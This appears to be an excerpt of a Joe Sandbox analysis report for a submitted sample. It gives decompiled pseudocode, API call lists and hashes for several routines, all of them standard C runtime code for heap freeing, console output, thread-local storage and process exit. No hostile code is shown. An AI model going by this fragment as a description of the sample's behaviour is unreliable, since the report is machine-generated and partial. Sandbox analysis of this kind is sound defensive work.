Part of subcall function 010DA6DA: HeapFree.KERNEL32(00000000,00000000,?,010DBC27,?,00000000,?,00000000,?,010DBC4E,?,00000007,?,?,010DADC4,?), ref: 010DA6F0
Part of subcall function 010DA6DA: GetLastError.KERNEL32(?,?,010DBC27,?,00000000,?,00000000,?,010DBC4E,?,00000007,?,?,010DADC4,?,?), ref: 010DA702

_free.LIBCMT ref: 010D9B5C
_free.LIBCMT ref: 010D9B67
_free.LIBCMT ref: 010D9B72
_free.LIBCMT ref: 010D9B7D
_free.LIBCMT ref: 010D9B88
_free.LIBCMT ref: 010D9B93
_free.LIBCMT ref: 010D9B9E
_free.LIBCMT ref: 010D9BA9
_free.LIBCMT ref: 010D9BB7

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 05e44bee9a561c9f99cfcf7116767df9690f8da0b67bae7af9c5dfa498ef6973
Instruction ID: 5e8a938e608843901612a11c85ded5788e62475b9f44d48fae5cb7fa518f858b
Opcode Fuzzy Hash: 05e44bee9a561c9f99cfcf7116767df9690f8da0b67bae7af9c5dfa498ef6973
Instruction Fuzzy Hash: 0511837670420DFFCF41EF94C951CDD3BA5EF68290B5185A5FA488F221DA31EA51AB80

Uniqueness

Uniqueness Score: -1.00%

Function 010E3221 Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E010E3221(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t135;
				signed int _t136;
				void* _t137;

				_t78 =  *0x116dd74; // 0x2e3e64ca
				_v8 = _t78 ^ _t136;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x116e830 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t135 = _a4;
				_v60 = _t86;
				 *_t135 = 0;
				 *((intOrPtr*)(_t135 + 4)) = 0;
				 *((intOrPtr*)(_t135 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0x116e830 + _v48 * 4));
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E010D9839(_t116, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0x116e830 + _t131 * 4)) + _t116 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0x116e830 + _t131 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0x116e830 + _t131 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
							} else {
								_t112 = E010E27F0( &_v28, _t133, 2);
								_t137 = _t137 + 0xc;
								if(_t112 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E010E27F0();
						_t137 = _t137 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t135 = GetLastError();
								} else {
									 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 8)) - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t135 + 8)) =  *((intOrPtr*)(_t135 + 8)) + 1;
													 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E010DDC5F(_v8 ^ _t136);
			}

0x010e3229
0x010e3230
0x010e3233
0x010e323b
0x010e323f
0x010e324b
0x010e324e
0x010e3251
0x010e3258
0x010e3260
0x010e3263
0x010e3269
0x010e326f
0x010e3274
0x010e3276
0x010e3279
0x010e327e
0x010e3288
0x010e328f
0x010e3292
0x010e3299
0x010e32a0
0x010e32cc
0x010e32f2
0x010e32f4
0x00000000
0x010e32ce
0x010e32d1
0x010e3398
0x010e33a4
0x010e33af
0x010e33b4
0x010e32d7
0x010e32de
0x010e32e3
0x010e32e9
0x010e32ef
0x00000000
0x010e32ef
0x010e32e9
0x010e32d1
0x010e32a2
0x010e32a6
0x010e32a9
0x010e32af
0x010e32b1
0x010e32b4
0x010e32b8
0x010e32f5
0x010e32f8
0x010e32f9
0x010e32fe
0x010e3304
0x010e330a
0x010e3319
0x010e331f
0x010e3325
0x010e332a
0x010e3346
0x010e33b9
0x010e33bf
0x010e3348
0x010e3350
0x010e3359
0x010e335f
0x00000000
0x010e3361
0x010e3363
0x010e3366
0x010e337f
0x00000000
0x010e3381
0x010e3385
0x010e3387
0x010e338a
0x00000000
0x010e338a
0x010e3385
0x010e337f
0x010e335f
0x010e3359
0x010e3346
0x010e332a
0x010e3304
0x00000000
0x010e338d
0x010e338d
0x010e33c1
0x010e33d3

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,010E3996,?,00000000,?,00000000,00000000), ref: 010E3263
__fassign.LIBCMT ref: 010E32DE
__fassign.LIBCMT ref: 010E32F9
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 010E331F
WriteFile.KERNEL32(?,?,00000000,010E3996,00000000,?,?,?,?,?,?,?,?,?,010E3996,?), ref: 010E333E
WriteFile.KERNEL32(?,?,00000001,010E3996,00000000,?,?,?,?,?,?,?,?,?,010E3996,?), ref: 010E3377

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 8559a25768205f77dbc15f2994331c7e46b0bac389b6b3e6e5e1e0c7aad1eef8
Instruction ID: ca7bc7d97ab4237803d48527a81f36d249b62e224d72f9099b0cafa1d764f3d4
Opcode Fuzzy Hash: 8559a25768205f77dbc15f2994331c7e46b0bac389b6b3e6e5e1e0c7aad1eef8
Instruction Fuzzy Hash: 49519F70E002499FDB14CFA9D889AEEBFF8FF09300F14415AE995EB291E7319941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 010DBC35 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E010DBC35(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E010DBBF9(_t45, 7);
					E010DBBF9(_t45 + 0x1c, 7);
					E010DBBF9(_t45 + 0x38, 0xc);
					E010DBBF9(_t45 + 0x68, 0xc);
					E010DBBF9(_t45 + 0x98, 2);
					E010DA6DA( *((intOrPtr*)(_t45 + 0xa0)));
					E010DA6DA( *((intOrPtr*)(_t45 + 0xa4)));
					E010DA6DA( *((intOrPtr*)(_t45 + 0xa8)));
					E010DBBF9(_t45 + 0xb4, 7);
					E010DBBF9(_t45 + 0xd0, 7);
					E010DBBF9(_t45 + 0xec, 0xc);
					E010DBBF9(_t45 + 0x11c, 0xc);
					E010DBBF9(_t45 + 0x14c, 2);
					E010DA6DA( *((intOrPtr*)(_t45 + 0x154)));
					E010DA6DA( *((intOrPtr*)(_t45 + 0x158)));
					E010DA6DA( *((intOrPtr*)(_t45 + 0x15c)));
					return E010DA6DA( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x010dbc3b
0x010dbc40
0x010dbc49
0x010dbc54
0x010dbc5f
0x010dbc6a
0x010dbc78
0x010dbc83
0x010dbc8e
0x010dbc99
0x010dbca7
0x010dbcb5
0x010dbcc6
0x010dbcd4
0x010dbce2
0x010dbced
0x010dbcf8
0x010dbd03
0x00000000
0x010dbd13
0x010dbd18

APIs

Part of subcall function 010DBBF9: _free.LIBCMT ref: 010DBC22

_free.LIBCMT ref: 010DBC83

Part of subcall function 010DA6DA: HeapFree.KERNEL32(00000000,00000000,?,010DBC27,?,00000000,?,00000000,?,010DBC4E,?,00000007,?,?,010DADC4,?), ref: 010DA6F0
Part of subcall function 010DA6DA: GetLastError.KERNEL32(?,?,010DBC27,?,00000000,?,00000000,?,010DBC4E,?,00000007,?,?,010DADC4,?,?), ref: 010DA702

_free.LIBCMT ref: 010DBC8E
_free.LIBCMT ref: 010DBC99
_free.LIBCMT ref: 010DBCED
_free.LIBCMT ref: 010DBCF8
_free.LIBCMT ref: 010DBD03
_free.LIBCMT ref: 010DBD0E

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0e25380f97129f0a05355ba1c082cf43b91258dad4189fe5dd706031a12bc249
Instruction ID: 9c4493b1c6b763910e3c73bb49efdf455d4235d52d74848b3d2d6ea81984839e
Opcode Fuzzy Hash: 0e25380f97129f0a05355ba1c082cf43b91258dad4189fe5dd706031a12bc249
Instruction Fuzzy Hash: 71118B31A40B06EADA30BBB1CC05FDB779CAF6A750F410C14B2DAA7090DAA6F5499750

Uniqueness

Uniqueness Score: -1.00%

Function 010DF424 Relevance: 10.6, APIs: 7, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E010DF424(void* __ecx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t25;
				void* _t28;

				if( *0x116dda0 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E010E069E(__eflags,  *0x116dda0);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E010E06D8(__eflags,  *0x116dda0, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_t28 = E010DA67D(_t16, 1, 0x28);
								__eflags = _t28;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E010E06D8(__eflags,  *0x116dda0, 0);
								} else {
									__eflags = E010E06D8(__eflags,  *0x116dda0, _t28);
									if(__eflags != 0) {
										_t11 = _t28;
										_t28 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E010DA6DA(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}

0x010df42b
0x010df43e
0x010df445
0x010df448
0x010df44b
0x010df464
0x010df464
0x010df44d
0x010df44d
0x010df44f
0x010df459
0x010df45f
0x010df460
0x010df462
0x010df472
0x010df476
0x010df478
0x010df48c
0x010df48c
0x010df495
0x010df47a
0x010df488
0x010df48a
0x010df49e
0x010df4a0
0x010df4a0
0x00000000
0x00000000
0x00000000
0x010df48a
0x010df4a3
0x00000000
0x00000000
0x00000000
0x010df462
0x010df44f
0x010df4ab
0x010df4b5
0x010df42d
0x010df42f
0x010df42f

APIs

GetLastError.KERNEL32(?,?,010DF41B,010DE807), ref: 010DF432
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 010DF440
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 010DF459
SetLastError.KERNEL32(00000000,?,010DF41B,010DE807), ref: 010DF4AB

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 84222be3b56adaa94fe01c0b3b3cb517cb9ec2b097a7f02d0bb732a7db1d982e
Instruction ID: 2c187314b22ae7c67f8fdb974269e215b48e8ea7e9ea2bbb8f4b4e21620a594a
Opcode Fuzzy Hash: 84222be3b56adaa94fe01c0b3b3cb517cb9ec2b097a7f02d0bb732a7db1d982e
Instruction Fuzzy Hash: 6001403230A3139EAAB535BABC485AB3BC8EB555F83708339FDE1454EDDF5204419600

Uniqueness

Uniqueness Score: -1.00%

Function 010D9C30 Relevance: 9.0, APIs: 6, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E010D9C30(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x116d70c; // 0x2
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E010DA67D(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E010DA92D(_t25, _t36, __eflags,  *0x116d70c, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E010D9AA2(_t25, _t31, 0x116df44);
							E010DA6DA(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E010DA6DA();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E010DA63A(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x116d70c; // 0x2
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E010DA67D(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E010DA92D(_t27, _t37, __eflags,  *0x116d70c, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E010D9AA2(_t27, _t32, 0x116df44);
									E010DA6DA(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E010DA6DA();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E010DA8D7(_t25, _t37, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E010DA8D7(_t23, _t36, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x010d9c30
0x010d9c30
0x010d9c30
0x010d9c3a
0x010d9c3c
0x010d9c41
0x010d9c44
0x010d9c52
0x010d9c59
0x010d9c5e
0x010d9c61
0x010d9c64
0x010d9c76
0x010d9c7b
0x010d9c7d
0x010d9c88
0x010d9c8f
0x010d9c94
0x010d9c97
0x010d9c99
0x00000000
0x00000000
0x00000000
0x00000000
0x010d9c7f
0x010d9c7f
0x00000000
0x010d9c7f
0x010d9c66
0x010d9c66
0x010d9c67
0x010d9c67
0x010d9c6c
0x010d9ca7
0x010d9ca8
0x010d9cae
0x010d9cb3
0x010d9cb6
0x010d9cb7
0x010d9cb8
0x010d9cbf
0x010d9cc1
0x010d9cc3
0x010d9cc8
0x010d9ccb
0x010d9cd9
0x010d9ce5
0x010d9ce8
0x010d9ceb
0x010d9cfd
0x010d9d02
0x010d9d04
0x010d9d0f
0x010d9d15
0x010d9d1d
0x010d9d1f
0x00000000
0x00000000
0x00000000
0x00000000
0x010d9d06
0x010d9d06
0x00000000
0x010d9d06
0x010d9ced
0x010d9ced
0x010d9cee
0x010d9cee
0x010d9d21
0x010d9d22
0x010d9d22
0x010d9ccd
0x010d9cd3
0x010d9cd7
0x010d9d2a
0x010d9d2b
0x010d9d31
0x00000000
0x00000000
0x00000000
0x010d9cd7
0x010d9d38
0x010d9d38
0x010d9c46
0x010d9c4c
0x010d9c50
0x010d9c9b
0x010d9c9c
0x010d9ca6
0x00000000
0x00000000
0x00000000
0x010d9c50

APIs

GetLastError.KERNEL32(?,?,010D5EB1,?,?,?,010D4B88,?), ref: 010D9C34
_free.LIBCMT ref: 010D9C67
_free.LIBCMT ref: 010D9C8F
SetLastError.KERNEL32(00000000,?), ref: 010D9C9C
SetLastError.KERNEL32(00000000,?), ref: 010D9CA8
_abort.LIBCMT ref: 010D9CAE

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: b83db99ec84ecbbee59f933cad41d7edc388c152e79aaaf094569218483646e9
Instruction ID: 704c3f4e163872fdde7456e5c71d96d0cac02cd0089f5ba95283c445e490b420
Opcode Fuzzy Hash: b83db99ec84ecbbee59f933cad41d7edc388c152e79aaaf094569218483646e9
Instruction Fuzzy Hash: B7F02836704706FBCA623229BD08FAE26DD9BD167DF210564F9D893194EF2688028221

Uniqueness

Uniqueness Score: -1.00%

Function 010DC24E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,010DC1FF,010DA67C,?,010DC19F,010DA67C,0112A700,0000000C,010DC2F6,010DA67C,00000002), ref: 010DC26E
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 010DC281
FreeLibrary.KERNEL32(00000000,?,?,?,010DC1FF,010DA67C,?,010DC19F,010DA67C,0112A700,0000000C,010DC2F6,010DA67C,00000002,00000000), ref: 010DC2A4

Strings

mscoree.dll, xrefs: 010DC267
CorExitProcess, xrefs: 010DC279

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: bf93c74224a4810db16d206d9eba6322edbee35e69627877fca5cd48ed503814
Instruction ID: 672f78f2c14276d0429737001de1b78f8e33bf4f13d152cd9122dcf49563f211
Opcode Fuzzy Hash: bf93c74224a4810db16d206d9eba6322edbee35e69627877fca5cd48ed503814
Instruction Fuzzy Hash: A7F0C830600318BFDB259F95DC09BEEBFF4EF18715F0000A8F949A6280CB754944CB80

Uniqueness

Uniqueness Score: -1.00%

Function 010DA4FD Relevance: 7.6, APIs: 5, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E010DA4FD(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t69;
				signed int _t70;
				short* _t71;

				_t34 =  *0x116dd74; // 0x2e3e64ca
				_v8 = _t34 ^ _t70;
				E010D5E73(__ebx,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t53 =  *(_v24 + 8);
					_t57 = _t53;
					_a24 = _t53;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E010DDC5F(_v8 ^ _t70);
				}
				_t55 = _t40 + _t40;
				asm("sbb eax, eax");
				if((_t55 + 0x00000008 & _t40) == 0) {
					_t69 = 0;
					L11:
					if(_t69 != 0) {
						E010DF070(_t67, _t69, _t67, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t69, _v12);
						if(_t46 != 0) {
							_t67 = GetStringTypeW(_a8, _t69, _t46, _a20);
						}
					}
					L14:
					E010DA61A(_t69);
					goto L15;
				}
				asm("sbb eax, eax");
				_t48 = _t40 & _t55 + 0x00000008;
				_t63 = _t55 + 8;
				if((_t40 & _t55 + 0x00000008) > 0x400) {
					asm("sbb eax, eax");
					_t69 = E010DBD19(_t63, _t48 & _t63);
					if(_t69 == 0) {
						goto L14;
					}
					 *_t69 = 0xdddd;
					L9:
					_t69 =  &(_t69[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E010DE270();
				_t69 = _t71;
				if(_t69 == 0) {
					goto L14;
				}
				 *_t69 = 0xcccc;
				goto L9;
			}

0x010da505
0x010da50c
0x010da518
0x010da51d
0x010da522
0x010da527
0x010da52a
0x010da52c
0x010da52c
0x010da531
0x010da54a
0x010da550
0x010da555
0x010da5f4
0x010da5f8
0x010da5fd
0x010da5fd
0x010da619
0x010da619
0x010da55b
0x010da563
0x010da567
0x010da5b3
0x010da5b5
0x010da5b7
0x010da5bc
0x010da5d3
0x010da5db
0x010da5eb
0x010da5eb
0x010da5db
0x010da5ed
0x010da5ee
0x00000000
0x010da5f3
0x010da56e
0x010da570
0x010da572
0x010da57a
0x010da597
0x010da5a1
0x010da5a6
0x00000000
0x00000000
0x010da5a8
0x010da5ae
0x010da5ae
0x00000000
0x010da5ae
0x010da57e
0x010da582
0x010da587
0x010da58b
0x00000000
0x00000000
0x010da58d
0x00000000

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?), ref: 010DA54A
__alloca_probe_16.LIBCMT ref: 010DA582
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 010DA5D3
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 010DA5E5
__freea.LIBCMT ref: 010DA5EE

Part of subcall function 010DBD19: RtlAllocateHeap.NTDLL(00000000,?,?,?,010DA5A1,00000000), ref: 010DBD4B

Memory Dump Source

Source File: 00000000.00000002.864930148.00000000010D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000000.00000002.864836901.00000000010D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.865456747.00000000010E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866524306.000000000112C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.866966911.000000000116D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.867050163.000000000116F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10d0000_CX17SY6xF6.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: 14f744cf830a9c8ac14ed069b2f6924ce8a7614225aac2966b5e5b6f24595379
Instruction ID: ec18a5c474a17a4af2346c1234c8f9dfb86636726646d6354fd94fa373f77696
Opcode Fuzzy Hash: 14f744cf830a9c8ac14ed069b2f6924ce8a7614225aac2966b5e5b6f24595379
Instruction Fuzzy Hash: 7C31ED72A0030AEFDF259F69DC40EEE7BA5EB44210F444168FC45DB294E735DA50CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010D9CB4 Relevance: 7.6, APIs: 5, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E010D9CB4(void* __ecx, void* __edx) {
				void* __esi;
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t16;
				long _t17;

				_t11 = __ecx;
				_t17 = GetLastError();
				_t10 = 0;
				_t2 =  *0x116d70c; // 0x2
				_t20 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t16 = E010DA67D(_t11, 1, 0x364);
					_pop(_t13);
					if(_t16 != 0) {
						_t4 = E010DA92D(_t13, _t17, __eflags,  *0x116d70c, _t16);
						__eflags = _t4;
						if(_t4 != 0) {
							E010D9AA2(_t13, _t16, 0x116df44);
							E010DA6DA(_t10);
							__eflags = _t16;
							if(_t16 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t16);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E010DA6DA();
						L8:
						SetLastError(_t17);
					}
				} else {
					_t16 = E010DA8D7(_t11, _t17, _t20, _t2);
					if(_t16 != 0) {
						L9:
						SetLastError(_t17);
						_t10 = _t16;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x010d9cb4
0x010d9cbf
0x010d9cc1
0x010d9cc3
0x010d9cc8
0x010d9ccb
